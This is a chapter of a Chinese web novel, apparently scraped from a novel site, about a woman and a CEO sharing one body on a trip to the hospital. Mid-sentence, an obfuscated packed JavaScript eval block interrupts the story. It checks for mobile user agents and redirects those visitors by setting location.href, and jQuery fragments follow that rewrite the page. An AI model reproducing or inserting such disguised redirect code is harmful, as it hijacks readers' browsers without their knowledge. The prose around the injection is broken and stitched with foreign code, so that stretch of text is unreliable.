最重要的事,他俩可以在脑内沟通,外人根本听不到。
沈昭宁:“哇哦!这么神奇的吗,那我们岂不是可以当着外人的面公然说悄悄话?”
季巡也觉得方便不少,点了点头。
沈昭宁:“那岂不是我让你替我上班,你就要替我上班?”
之前她以为对方是“小沈”的时候,两人还是互相配合的关系,现在他们已经变成了从属关系,沈昭宁从一定程度上可以说是两人的主人,一切由她说了算。
季巡无语,这人到底多不想上班。
“你不想上班可以辞职。”
沈昭宁:“不行啊,辞职吃什么,我不吃咪咪还要吃。”
她想起季巡的空头支票,还是觉得不靠谱,又想起手机上的实时进账,立刻命令对方打开手机。
季巡点开她的账户,上面显示余额是128956.90元。
沈昭宁“啊”一声尖叫,扔掉手机,抱住了正窝在沙发上睡觉的咪咪,“发财了发财了,财神爷上身了!”
季巡没料到她的反应,感受到惊醒的猫猫在怀里扑腾,浑身汗毛倒竖,声音都不稳定起来,“有话好好说,放开猫!”
沈昭宁才听不见他在说什么,抱着咪咪使劲又撸又亲,夹着声音道,“咪咪,麻麻是不是在做梦,快告诉麻麻,麻麻是不是在做梦!”
季巡:“放开猫,放开猫!”
沈昭宁:“亲亲猫,亲亲猫。”
十分钟后,沈昭宁心满意足放开吸猫魔爪,躺在沙发上伸手去抓茶几上的薯片。
季巡终于从噩梦中喘了口气,眼疾手快道,“去洗手!”
沈昭宁手上不知道沾了多少细菌和猫毛,就想直接吃东西?
沈昭宁不想动,咸鱼翻了个面,“你去。”
得到授意的季巡果然可以动了,他站起身去卫生间洗了手,嗅了嗅身上的味道,嫌弃的皱了皱眉,如果可以,他想再冲个澡。
沈昭宁却迫不及待想吃薯片,他在对方意念下,不得不走到沙发上坐下,掏出了薯片。
沈昭宁主动吃起了薯片,心里美滋滋的,这种状态简直不要太理想,她只做自己想做的,比如吃东西,撸猫,看电视,其余的都让季巡干。
季巡无语道:“唐宇州一会儿就到了,你准备就这样见他?”
沈昭宁刚才洗了澡,身上套着家居的长袖长裤,头发上还包着毛巾,听了他的话,不情不愿的应了一声,“等我吃完,你再准备。”
这是让季巡收拾出门前的准备。
季巡先用吹风机吹干了头发,长发就是麻烦,吹干都要很久,他告诉沈昭宁,“你头发太糙了,需要护理,发尾也分叉了,该修剪了。”
沈昭宁:“柜子里有剪刀,你剪一下。”
季巡怀疑自己听错了,“剪什么?”
沈昭宁:“不是分叉了吗,剪掉点不就行了。”
季巡难以理解怎么会有女生过的这么糙,也没力气跟她争论,吹完头发去换衣服。
沈昭宁想起了什么,有点歉意道,“昨天那件真丝的,被咪咪抓花了。”
季巡不在意,“反正我也没准备穿第二遍,买新的就是了。”
沈昭宁啧啧,果然是霸总,说起话来一股霸总味儿。
季巡前后买了两次衣服,一共四套,还有三套可以穿,沈昭宁看着他拿出一件黑色性冷淡风oversize衬衫,眼皮一跳,慌忙阻止,“不行,我不喜欢。”
季巡:“哪里不喜欢?”
沈昭宁:“你买的都是符合你的审美的,我没有发言权吗,这是我的身体,我难道还不能决定穿什么吗?”
季巡很想说你有审美这种东西吗,但他没说,委婉道,“你的衣服我看过了,很难让唐宇州相信你是我妹妹。”
沈昭宁:“你不就想说我的衣服很廉价,不像霸总妹妹吗?”
季巡沉默表示赞同。
沈昭宁哼了一声,不情不愿道,“我床下的柜子,打开。”
季巡不知道她要干什么,但是照做,看到里面有一个纸盒子,打开发现是一件墨绿色的裙子。
沈昭宁:“这件要八百块,总可以了吧。”
原来她最贵的标准是八百块,季巡没有嘲讽的意思,只在内心叹了一口气,拎起衣服看了看。
谈不上多高档,但剪裁简单,质感勉强过得去,最重要的是没有什么乱七八糟的装饰,而且他莫名觉得有点眼熟。
他怀疑是哪个品牌的过季清仓款,点了点头,“那就听你的,穿这个。”
沈昭宁的品味得到了霸总认同,她高兴了两秒又犯难起来,“我自己穿,你不许看。”
季巡才不要看。
沈昭宁:“但你能感觉到。”
季巡:“......你不碰我就感觉不到。”
沈昭宁:“那我还要穿内衣。”
季巡也很无语,变成沈昭宁的那几天,除了洗澡没办法,他从不碰她的内衣,就是穿,也扣好一整个套上,从来不调整。
季巡:“那就不穿。”
沈昭宁:“你疯了,女生怎么能不穿内衣!”
季巡:“那就穿。”
沈昭宁:“你敷衍我是不是,你变成我的时候是怎么穿的,有没有趁机......”
季巡:“没有!”
声调都提高了。
沈昭宁无从求证,哼了一声,反正事已至此,懒得跟他纠缠,说道:“我要穿了,你闭上眼。”
季巡立刻闭上。
沈昭宁换好衣服,站在穿衣镜前看了看,镜中人精致秀气,绿色衬得她皮肤很白,脖颈修长。
季巡:“怎么不常穿,藏得那么严实?”
他第一次都没找到。
沈昭宁叹了一口气,“说起来,还跟你有关。”
“我?”
沈昭宁还想说什么,手机响了,是唐宇州到了。
唐宇州开了一辆迈巴赫来接沈昭宁,锃亮的车身搭配奢华的内饰,让沈昭宁瞬间瞪大了眼睛。
唐宇州也十分有眼色,一见面就夸沈昭宁的打扮,“妹妹真是沉鱼落雁,一见难忘。”
沈昭宁还是第一次遇到这么说话的人,瞬间有点脸红。
季巡对两人都很无语,让沈昭宁之后让自己行动,沈昭宁刚好不知道怎么应付唐宇州,就答应了。
她还是第一次坐豪车,觉得很新奇,上了唐宇州的车后,东看看西看看,瞥到有车载冰箱,问季巡,“那里面有饮料吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281826|166860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
季巡被迫跟着沈昭宁左顾右盼,耐着性子道,“有,你安静呆着,别乱动。”
沈昭宁:“我口渴了。”
季巡无奈,伸长手臂打开冰箱,问沈昭宁,“喝哪个?”
沈昭宁在一众花花绿绿的品牌里只认识一个可乐,就点了可乐。
季巡一点都不想喝,但他现在有求于沈昭宁,只好找了纸巾,先擦拭了下瓶口,又将瓶身的水珠擦干,这才抠开拉环,缓慢喝了一口。
沈昭宁发出一声满意的喟叹,“爽啊。”
季巡无语。
开车的唐宇州注意到了她的动作,看向后视镜,笑着道,“怎么不坐前排,你这么会享受,好像我是你专职司机一样。”
季巡哼了一声,“那是你的荣幸。”
唐宇州:“哇,你真的跟你哥的语气一模一样啊,你妈怎么教育孩子的,一个两个都这么......有个性。”
沈昭宁:“他其实想说没礼貌。”
季巡:我知道谢谢。
他懒得理唐宇州,又喝了两口可乐,见沈昭宁没再说喝,就将罐子放在了一边。
到了医院,季巡推开车门就要下车,沈昭宁立刻提醒,“可乐,带上可乐!”
季巡:“你还要喝?都没气了,有什么好喝的。”
沈昭宁:“不是啊,你没喝完放在那里,等他下次开车极有可能会碰倒,到时候洒到车上怎么办,那么好的车。”
季巡啧了一声,还是转头把可乐拿上,说道,“洒了就洗车,或者再换一辆,他的车多的是。”
沈昭宁知道有钱人车多,说道,“至少很麻烦啊。”
季巡:“又不用他洗。”
沈昭宁大概明白他的意思,这种有钱人的车都有专人做车辆养护,但她还是对这种行为不能苟同,撇撇嘴没说话。
季巡:“......不要有那么多小动作。”
现在是他在操作身体好不好,毫无征兆的撇嘴真的很奇怪。
沈昭宁:“知道了。”
又撇了嘴。
季巡:“......”
唐宇州跟他一同走进医院,余光瞥见他的动作,好奇道,“怎么了,妹妹?”
季巡:“不要叫我妹妹。”
唐宇州:“那叫什么,对了,你怎么会姓沈啊,我记得阿姨不是姓顾吗,难道是你父亲姓沈?”
季巡想说关你什么事,但沈昭宁快了他一步,回答对方,“是啊~”
唐宇州忽然发现妹妹的变了语气,好奇笑道,“你好像很喜欢你爸爸。”
沈昭宁:“喜欢啊~”
季巡无语了,在脑中告诉她,“说话不要那么荡漾。”
沈昭宁:“有吗~”
季巡:“小心露馅。”
沈昭宁马上闭了嘴。
季巡重新掌控身体,矜持的清了下嗓子,用三分嫌弃的眼神扫了一眼唐宇州,“少打听别人的私事。”
唐宇州:“......”
这妹妹怎么抽风一样。
上了七楼踏入病房,沈昭宁看到了床上安静躺着的—季巡的原身。
缓步走近,终于看清了脑中人长什么样儿后,沈昭宁狠狠抽了一口气!